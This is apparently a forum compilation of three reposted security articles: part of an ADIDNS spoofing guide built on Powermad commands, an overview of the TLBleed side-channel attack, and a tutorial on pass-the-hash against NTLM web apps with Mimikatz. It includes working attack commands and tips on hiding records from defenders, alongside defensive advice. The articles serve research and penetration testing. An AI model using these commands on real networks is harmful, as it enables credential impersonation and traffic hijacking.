serial number will be the highest serial number listed in any node’s dnsRecord attribute. Care should be taken to only increment the SOA serial number by one so that a zone’s serial number isn’t unnecessarily increased by a large amount. I have created a PowerShell function called New-SOASerialNumberArray that simplifies the process. PS C:\Users\kevin\Desktop\Powermad> New-SOASerialNumberArray 62 0 0 0 The SOA serial number can also be obtained through nslookup. PS C:\Users\kevin\Desktop\Powermad> nslookup Default Server: UnKnown Address: 192.168.125.10 > set type=soa > inveigh.net Server: UnKnown Address: 192.168.125.10 inveigh.net primary name server = inveigh-dc1.inveigh.net responsible mail addr = hostmaster.inveigh.net serial = 255 refresh = 900 (15 mins) retry = 600 (10 mins) expire = 86400 (1 day) default TTL = 3600 (1 hour) inveigh-dc1.inveigh.net internet address = 192.168.125.10 The gathered serial number can be fed directly to New-SOASerialNumberArray. In this scenario, New-SOASerialNumberArray will skip connecting to a DNS server and instead it will use the specified serial number. Maintaining Control of Nodes To review, once a node is created with an authenticated user, the creator account will have ownership/full control of the node. The ‘Authenticated Users’ principal itself will not be listed at all within the node’s DACL. Therefore, losing access to the creator account can create a scenario where you will not be able to remove an added record. To avoid this, the dNSTombstoned attribute can be set to ‘True’ upon node creation. PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BC-00-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64 [+] ADIDNS node * added This puts a node in a state where any authenticated user can perform node modifications. Alternatively, the node’s DACL can be modified to grant access to additional users or groups. PS C:\Users\kevin\Desktop\Powermad> Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net [+] ACE added for Authenticated Users to * DACL Having the creator account’s ownership and full control permission listed on a node can make things really easy on the blue team in the event they discover your record. Although changing node ownership is possible, a token with the SeRestorePrivilege is required. Node Tombstoning Record cleanup isn’t as simple as just removing the node from LDAP. If you do, the record will hang around within the DNS server’s in-memory zone copy until the service is restarted or the ADIDNS zone is manually reloaded. The 180 second AD sync will not remove the record from DNS. When a record is normally deleted in an ADIDNS zone, the record is removed from the in-memory DNS zone copy and the node object remains in AD. To accomplish this, the node’s dNSTombstoned attribute is set to ‘True’ and the dnsRecord attribute is updated with a zero type entry containing the tombstone timestamp. Generating you own valid zero type array isn’t necessarily required to remove a record. If the dnsRecord attribute is populated with an invalid value, such as just 0x00, the value will be switched to a zero type array during the next AD/DNS sync. For cleanup, I’ve created a PowerShell function called Disable-ADIDNSNode which will update the dNSTombstoned and dnsRecord attributes. PS C:\Users\kevin\Desktop\Powermad> Disable-ADIDNSNode -Node * -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net [+] ADIDNS node * tombstoned The cleanup process is a little different for records that exist as a single dnsRecord attribute line within a multi-record DNS node. Simply remove the relevant dnsRecord line and wait for sync/replication. Set-DNSNodeAttribute can be used for this task. One note regarding tombstoned nodes in case you decide to work with existing records through either LDAP or dynamic updates. The normal record aging process will also set the dNSTombstoned attribute to ‘True’. Records in this state are considered stale, and if enabled, ready for scavenging. If scavenging is not enabled, these records can hang around in DNS for a while. In my test labs without enabled scavenging, I often find stale records that were originally registered by machine accounts. Caution should be taken when working with stale records. Although they are certainly potential targets for attack, they can also be overwritten or deleted by mistake. Node Deletion Fully removing the DNS records from both DNS and AD to better cover your tracks is possible. The record needs to first be tombstoned. Once the AD/DNS sync has occurred to remove the in-memory record, the node can be deleted through LDAP. Replication however makes this tricky. Simply performing these two steps quickly on a single domain controller will result in only the node deletion being replicated to other domain controllers. In this scenario, the records will remain within the in-memory zone copies on all but one domain controller. During penetration tests, tombstoning is probably sufficient for cleanup and matches how a record would normally be deleted from ADIDNS. Defending Against ADIDNS Attacks Unfortunately, there are no known defenses against ADIDNS attacks. Oh alright, there are easily deployed defenses and one of them actually involves using a wildcard record to your advantage. The simplest way to disrupt potential ADIDNS spoofing is to maintain control of critical records. For example, creating a static wildcard record as an administrator will prevent unprivileged accounts from creating their own wildcard record. PS C:\Users\kevin\Desktop\Powermad> New-ADIDNSNode -Node * -Tombstone -Verbose VERBOSE: [+] Domain Controller = Inveigh-DC1.inveigh.net VERBOSE: [+] Domain = inveigh.net VERBOSE: [+] ADIDNS Zone = inveigh.net VERBOSE: [+] Distinguished Name = DC=*,DC=inveigh.net,CN=MicrosoftDNS,DC=DomainDNSZones,DC=inveigh,DC=net VERBOSE: [+] Data = 192.168.125.100 VERBOSE: [+] DNSRecord Array = 04-00-01-00-05-F0-00-00-BD-00-00-00-00-00-02-58-00-00-00-00-20-D8-37-00-C0-A8-7D-64 [-] Exception calling "SendRequest" with "1" argument(s): "The object exists." The records can be pointed at your black-hole method of choice, such as 0.0.0.0. An added bonus of an administrator controlled wildcard record is that the record will also disrupt LLMNR/NBNS spoofing. The wildcard will satisfy all name requests for a zone through DNS and prevent requests from falling down to LLMNR/NBNS. I would go so far as to recommend administrator controlled wildcard records as a general defense for LLMNR/NBNS spoofing. You can also modify an ADIDNS zone’s DACL to be more restrictive. The appropriate settings are environment specific. Fortunately, the likelihood of having an actual requirement for allowing ‘Authenticated Users’ to create records is probably pretty low. So, there certainly may be room for DACL hardening. Just keep in mind that limiting record creation to only administrators and machine accounts may still leave a lot of opportunities for attack without also maintaining control of critical records. And the Winner Is? The major advantage of ADIDNS spoofing over LLMNR/NBNS spoofing is the extended reach and the major disadvantage is the required AD access. Let’s face it though, we don’t necessarily need a better LLMNR/NBNS spoofer. Looking back, NBNS spoofing was a security problem long before LLMNR joined the game. LLMNR and NBNS spoofing both continue to be effective year after year. My general recommendation, having worked with ADIDNS spoofing for a little while now, would be to start with LLMNR/NBNS spoofing and add in ADIDNS spoofing as needed. The LLMNR/NBNS and ADIDNS techniques actually complement each other pretty well. To help you make your own decision, the following table contains some general traits of ADIDNS, LLMNR, and NBNS spoofing: Trait ADIDNS LLMNR NBNS Can require waiting for replication/syncing x Easy to start and stop attacks x x Exploitable when default settings are present x x x Impacts fully qualified name requests x Requires constant network traffic for spoofing x x Requires domain credentials x Requires editing AD x Requires privileged access to launch attack from a compromised system x Targets limited to the same broadcast/multicast domains as the spoofer x x Disclaimer: There are still lots of areas to explore with ADIDNS zones beyond just replicating standard LLMNR/NBNS spoofing attacks. Tools! I’ve released an updated version of Powermad which contains several functions for working with ADIDNS, including the functions shown in the post: https://github.com/Kevin-Robertson/Powermad I will be populating the Powermad wiki with step by step instructions: https://github.com/Kevin-Robertson/Powermad/wiki Also, if you are feeling brave, an ADIDNS spoofing capable version of Inveigh 1.4 can be found in the dev branch: https://github.com/Kevin-Robertson/Inveigh/tree/dev Sursa: https://blog.netspi.com/exploiting-adidns/

TLBleed Overview TLBleed is a new side channel attack that has been proven to work on Intel CPU’s with Hyperthreading (generally Simultaneous Multi-threading, or SMT, or HT on Intel) enabled. It relies on concurrent access to the TLB, and it being shared between threads. We find that the L1dtlb and the STLB (L2 TLB) is shared between threads on Intel CPU cores. Result This means that co-resident hyperthreads can get a certain amount of information on the data memory accesses of the other HT, without needing any shared cache. Whereas the cache can be partitioned to protect against cache attacks (such as in Cloak using TSX, or using CAT, or using page coloring), this is practically impossible for the TLB, and no such systems have been proposed. Thus in the presence of cache defenses, TLBleed remains a risk in this threat model. Requirements (a.k.a. threat model) The threat model is identical to Colin Pervical’s seminal 2005 work, Cache Missing for Fun and Profit, which arguably introduced practical cache side channels. Different from TLBleed, it requires concurrent access to the cache shared between Hyperthreads. TLBleed gets all information through the shared TLB, which can’t be partitioned between processes in software (either application or OS). Impact & Coverage As a result of seeing this work, OpenBSD decided to disable Hyperthreading by default. This has prompted some speculation that TLBleed is a spectre-like attack, but that is not the case. OpenBSD also realizes the exact impact of TLBleed. Red Hat has a very thoughtful piece here. There has been significant news coverage: TheRegister (and this one), ArsTechnica, ZDnet, Techrepublic, TechTarget, ITwire, tweakers, and a personal favorite, the SecurityNow Podcast episode 669 (mp3, show notes, youtube). Overview of results We briefly tour the results of our paper with some technical details that a technical audience might be interested in. Full technical details can be found in the paper, linked below. libgcrypt ECC point multiplication To demonstrate the effectiveness of TLBleed, we side-channel the non-side-channel resistant version of the libgcrypt EdDSA ECC scalar-point multiplication function. In later versions it has been hardened against this attack. We demonstrate that even if cache protections are in place, when this code would be safe, it would still be vulnerable from TLB leakage. The chart below shows the progression of analysis. The spy process acquires the TLB usage signal while the other hyperthread is executing the point-scalar multiplication using a secret key (this would happen e.g. when a signing operation takes place). The raw TLB signal looks noisy, but we are able to apply a machine learning technique to distinguish when a 0 or a 1 secret key bit is being processed. The latency is the raw TLB usage signal as the spy process acquires it. The shaded regions show ground truth corresponding to which secret key bit the other HT is processing. The spy process wants to decide which of the two (dup or mul, corresponding to a certain secret key bit) it is. The moving average shows the signal contains a distinguishing characteristic. The SVM classifier output shows that a SVM classifier can reliably learn to tell the difference between the two. After we capture the signal, to reconstruct the key sometimes we have to guess some values (sometimes the SVM classifier output makes no sense, sometimes it’s wrong in 1 or 2 bits), so we apply some heuristics and brute force until we guess the right key. We try this on 3 different microarchitectures and reach the following success rates, while analyzing the data from just a single TLB capture. We call it a ‘success’ if we can guess the key after a limited amount of brute force effort (see below). We try our attack on 3 different microarchitectures and report on the reliability results. The success rate is from 0 to 1, i.e. 0.998 means 99.8% success rate. This is the distribution of brute force effort needed for the 3 different cases. Brute force effort needed for 3 different microarchitectures where we eventually were successful in guessing the right key using our heuristics and brute force algorithm. RSA We also apply our technique to an older implementation of RSA, using square-and-multiply, in libgcrypt, which was written to be side-channel-resistant. (Updates since that time have improved its side channel resistance.) Its side channel resistance stems from having a near-constant control flow. TLBleed however relies on the data access pattern and can see the difference between the multiply result being used (1-bit in exponent) or not (0-bit in exponent). The error rate for a 1024-bit key was much higher than for a 256-bit EdDSA key however, and we could not brute force our way to a full reliable key recovery. We do believe that with some advanced number theoretical techniques (see paper and previous work, e.g. Cachebleed), this number of unknown bits out of 1024 can lead to a reliable key recovery with just a single capture. Error rate of 1024-bit RSA key recovery after a single capture of TLBleed data from the RSA implementation. Also: defense bypass, covert channel The paper contains more material: we implement a covert channel over the TLB, and demonstrate bypasses of cache protections. See the paper for full details. Presentations & Full Paper A copy of the paper, published at and to be presented at Usenix Security this year, as well as at a Blackhat Briefing, is online now: paper is here. [1] B. Gras, K. Razavi, H. Bos, C. Giuffrida, Translation Leak-aside Buffer: Defeating Cache Side-channel Protections with TLB Attacks, in: USENIX Security, 2018. Acknowledgements The authors would like to thank Yuval Yarom, Colin Percival, and Taylor `Riastradh’ Campbell for early feedback on this paper, and impact consideration. Sursa: https://www.vusec.net/projects/tlbleed/

Passing-the-Hash to NTLM Authenticated Web Applications Christopher Panayi, 11 July 2018 A blog post detailing the practical steps involved in executing a Pass-the-Hash (PtH) attack in Windows/Active Directory environments against web applications that use domain-backed NTLM authentication. The fundamental technique detailed here was previously discussed by Alva 'Skip' Duckwall and Chris Campbell in their excellent 2012 Blackhat talk, "Still Passing the Hash 15 Years Later…" [1][3]. Introduction One of the main advantages of a Windows Active Directory environment is that it enables enterprise-wide Single Sign-On (SSO) through the use of Kerberos or NTLM authentication. These methods are typically used to access a large variety of enterprise resources, from file shares to web applications, such as Sharepoint, OWA or custom internal web applications used for specific business processes. When considering web applications, the use of Integrated Windows Authentication (IWA) - i.e. Windows SSO for web applications - allows users to automatically authenticate to web applications using either Kerberos or NTLM authentication. It is well-known that the design of the NTLM authentication protocol allowed for Pass-the-Hash attacks - where a user is authenticated using their password hash instead of their password. Public tooling for this kind of attack has existed since around 1997 - when Paul Ashton released a modified SMB client that used a LanMan hash to access network shares [2]. Background The use of Pass-the-Hash (PtH) attacks against Windows environments has been well documented over the years. A small primer of references discussing these attacks, selected from amongst the many good resources available, follows: The official Microsoft documentation detailing how "The client computes a cryptographic hash of the password and discards the actual password." before attempting NTLM authentication. Useful for understanding why PtH for NTLM authentication is possible in Windows environments: https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm. Hernan Ochoa's slides discussing the original Pass-the-Hash Toolkit: https://www.coresecurity.com/system/files/publications/2016/05/Ochoa_2008-Pass-The-Hash.pdf. These describe a working means to execute PtH attacks from Windows machines that had been developed in 2000. All of the Passing-the-Hash blog. The pth-suite Linux tools are of specific interest (When they were originally released, these were coded for Backtrack Linux. Most of these tools have found a new home in Kali Linux, with one notable exception - which contributed to the writing of this blog post): https://passing-the-hash.blogspot.com/. "Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy" - A discussion of PtH for local user accounts, and the additional restrictions imposed on this form of PtH since Windows Vista: https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/. Exploiting PtH using the PsExec module in Metasploit: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/. The Github documentation for the PtH module in Mimikatz: https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth. One of the specific applications of this attack that has always interested me is the ability to PtH to websites that make use of NTLM authentication. Due to the ubiquity of enterprise Windows Active Directory environments, a large number of internal corporate web applications make use of this authentication scheme to allow seamless SSO to corporate resources from company workstations. Being able to execute Pass-the-Hash attacks against these websites is therefore a useful technique for effective post-exploitation on Windows environments. The full impact of this is apparent when a full domain compromise occurs - i.e. after a complete domain hashdump for a given domain has been obtained, which contains the NT hashes associated with all employee user accounts. Pass-the-Hash, in this scenario, effectively allows the impersonation of any corporate employee, without needing to crack any password hashes, or keylog any passwords from their workstations. Meaning that even for the the most security conscious users, who might have used a 20+ character - generally uncrackable - passphrase, there would be no protection against an attacker using their compromised password hash to impersonate them on a target corporate web application. Practical PtH Attacks Against NTLM Authenticated Web Applications So, the question becomes, how would one practically carry out such an attack against an NTLM authenticated website? For a long time, performing Google searches of this topic and trawling through the results offered me no additional insight into how to use current (circa 2015-2018) tooling to execute such an attack. When considering the estimable set of Pass-the-Hash tools available in Kali Linux - pth-suite - there was a strange gap. While most of the original pth-suite tools made their way into Kali Linux in 2015, the notable exception - which I alluded to earlier - was pth-firefox, which, as the name suggests, patched the NTLM authentication code in Firefox to allow Pass-the-Hash. Since this Linux tooling was unavailable to me, I turned my attention to investigating techniques that use Mimikatz on a Windows host to perform the same attack. After having discovered a working technique myself, I recently stumbled upon pg 30 of the original "Still Passing the Hash 15 Years Later…" slides, presented at Blackhat 2012 and delivered by Alva 'Skip' Duckwall and Chris Campbell [1]. These detail a method of convincing Internet Explorer (or any browser that makes use of the built-in Windows "Internet Options" settings) to authenticate using IWA, after injecting the desired NT hash directly into memory using Hernan Ochoa's Windows Credential Editor (WCE). They give a demo of this specific technique at 18:29 of their presentation [3]. Given how long it took me to find this information, and in order to document the relevant steps for practical exploitation, the remainder of this post details how to execute this attack using Mimikatz from a Windows 10 host. The Attack Environment Setup In order to illustrate a web application that makes use of NTLM authentication, I used an Exchange 2013 server, configured to exclusively make use of IWA for Outlook Web Access (OWA). The relevant PowerShell configuration commands run on the Exchange server, from the Exchange Management Shell, were as follows: Set-OwaVirtualDirectory -Identity "owa (Default Web Site)" -FormsAuthentication $false -WindowsAuthentication $true Set-EcpVirtualDirectory -Identity "ecp (Default Web Site)" -FormsAuthentication $false -WindowsAuthentication $true Other prerequisites which were in place: This Exchange server was joined to the test.com domain. On this domain, a user, named TEST\pth, was created with a complex password and a corresponding mailbox. The NT hash of this user's password was calculated, to later be used as part of the attack. The NT hash was generated as follows: python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "Strong,hardtocrackpassword1".encode("utf-16le")).digest())' 57f5f9f45e6783753407ae3a8b13b032 After this, a recent version of Mimikatz was downloaded onto a non-domain joined Windows 10 host, which was connected to the same network as the Exchange server. In order to allow us to use the domain name of the Exchange server, instead of its IP address, the DNS server on this standalone machine was set to the Domain Controller of the test.com domain. Attack Assuming that our OWA web application was accessible on "https://exchange.test.com/owa", browsing to OWA normally would result in the following prompt: This prompt is generated, as the machine does not have any domain credentials in memory and the WWW-Authenticate header received from the website specifies that it accepts NTLM authentication. Running Mimikatz as administrator, we can start a command prompt in the context of the TEST\pth user, by using the Pass-the-Hash module in Mimikatz - sekurlsa::pth - and supplying the user's NT hash as an argument: privilege::debug sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe This will not alter our local rights on the machine, but will mean that if we attempt to access any network resources from the newly spawned command prompt, it will be done in the context of our injected credentials. In order to ensure that our browser is running under the context of these injected credentials, we spawn an Internet Explorer process from this command prompt, by running "C:\Program Files\internet explorer\iexplore.exe". Inspecting the "Security Settings" for the "Local Intranet" zone in the "Internet Options" dialog, we can see that - by default - authentication is only automatic (i.e. using SSO) for websites that are present in the intranet zone. This is pictured below: Thus, in order for a Pass-the-Hash attack to work from Internet Explorer on a Windows machine, the target site must be added to the "Local Intranet" zone. Instead of adding websites to this zone individually, it is possible to use a wildcard domain, in this case "*.test.com", which will match all subdomains of "test.com". Such a configuration is pictured in the following screenshot: After this configuration, when browsing to "https://exchange.test.com/owa", the TEST\pth user is automatically authenticated through NTLM authentication and OWA then successfully loads. Potential Impact After the compromise of the domain, the ability to PtH to web applications allows for efficient, and relatively simple, impersonation of any employee, regardless of access privileges, to any company-owned web applications that support IWA. Whilst this might primarily include Microsoft web services, such as SharePoint and OWA (if IWA is specifically enabled), various custom-developed internal financial applications, including those used to pay external parties, have been seen to do the same. When looking at the industry move towards cloud environments, Active Directory Federation Services (ADFS) is commonly involved to facilitate authentication. ADFS, by default, supports IWA when an Internet Explorer user agent is provided [4]. In such a scenario, this would imply that PtH can be performed to access company resources in the cloud. Recommendations While the main purpose of this post is not to talk about the complex issue of securing a Windows Active Directory environment, and indeed, cannot do the topic justice while staying on point, some high-level considerations for addressing these attacks are provided for those interested. Some further detail, not discussed here, can be found in a previous post, Planting the Red Forest: Improving AD on the Road to ESAE. The ability to PtH in Windows environments cannot, in itself, currently be addressed. Both of the protocols that Active Directly uses for SSO inherently allow for PtH-style attacks. The most effective recommendation in this line is thus to prevent compromise of password hashes and Kerberos keys in the first place. Most importantly, this entails ensuring that Domain Controllers, Domain Administrator access, or any other means of obtaining the stored credential information within Active Directory, is not compromised, as this would directly result in the compromise of all stored password hashes and Kerberos keys. On Windows 10 and Server 2016, credential material stored in memory can be protected against credential theft attacks specifically through the use of Credential Guard. When looking at IWA for web applications in isolation, enforcing the use of Multi-Factor Authentication (MFA) during the login process can be effective. As a specific case-in-point, when ADFS is used with Office 365, initial authentication may be performed through IWA, but a second factor can be required in order to complete authentication, after which access to company resources is granted. Unfortunately, this approach cannot be used to address PtH more generally, as not all relevant protocols have support for it. SMB, for example, does not support MFA, but still provides functionality that allows for remote code execution, thus permitting attackers to move laterally inside corporate environments using PtH unhindered. P.S. A Final Note - "PtH" for Kerberos Authentication The underlying concept behind Pass-the-Hash is that once a credential store is compromised, it is possible to use the stolen stored credential material (which should never be the plaintext password!) in order to authenticate as a user, without needing to first obtain the corresponding plaintext password for that user. When referring to Microsoft's documentation concerning their implementation of the Kerberos protocol, it is described how "Kerberos Pre-Authentication" is used to obtain a Kerberos Ticket Granting Ticket (TGT). This process requires the user to send an "authenticator message" to the domain controller; this authenticator message "...is encrypted with the master key derived from the user's logon password." [5]. Later, the documentation explains that when the DC receives the TGT request, "...it looks up the user in its database, gets the associated user's master key, decrypts the preauthentication data, and evaluates the time stamp inside." [5]. This means that the key itself is used for validating authentication, not the user's plaintext password. The user's password-derived key is stored in the AD database, meaning that if this database is compromised (as happens when an attacker obtains domain administrator credentials, for example), the stored key can be recovered - along with the user's stored NT hash. Since only the stored key is needed to create a valid authenticator message, Kerberos authentication is inherently "Pass-the-Key". Alva Duckwall and Benjamin Delpy [6] called this attack "Overpass-the-Hash", and the sekurlsa::pth Mimikatz module supports crafting Kerberos Pre-Authentication requests using only Kerberos keys. The implication of this, of course, is that if a web application, or any other corporate resource, supports direct AD-backed Kerberos authentication, Overpass-the-Hash can be used for authentication against it. References [1] "Still Passing the Hash 15 Years Later: Using Keys to the Kingdom to Access Data" presentation slides - https://media.blackhat.com/bh-us-12/Briefings/Duckwall/BH_US_12_Duckwall_Campbell_Still_Passing_Slides.pdf [2] NT "Pass the Hash" with Modified SMB Client Vulnerability - http://www.securityfocus.com/bid/233/discuss Sursa: https://labs.mwrinfosecurity.com/blog/pth-attacks-against-ntlm-authenticated-web-applications/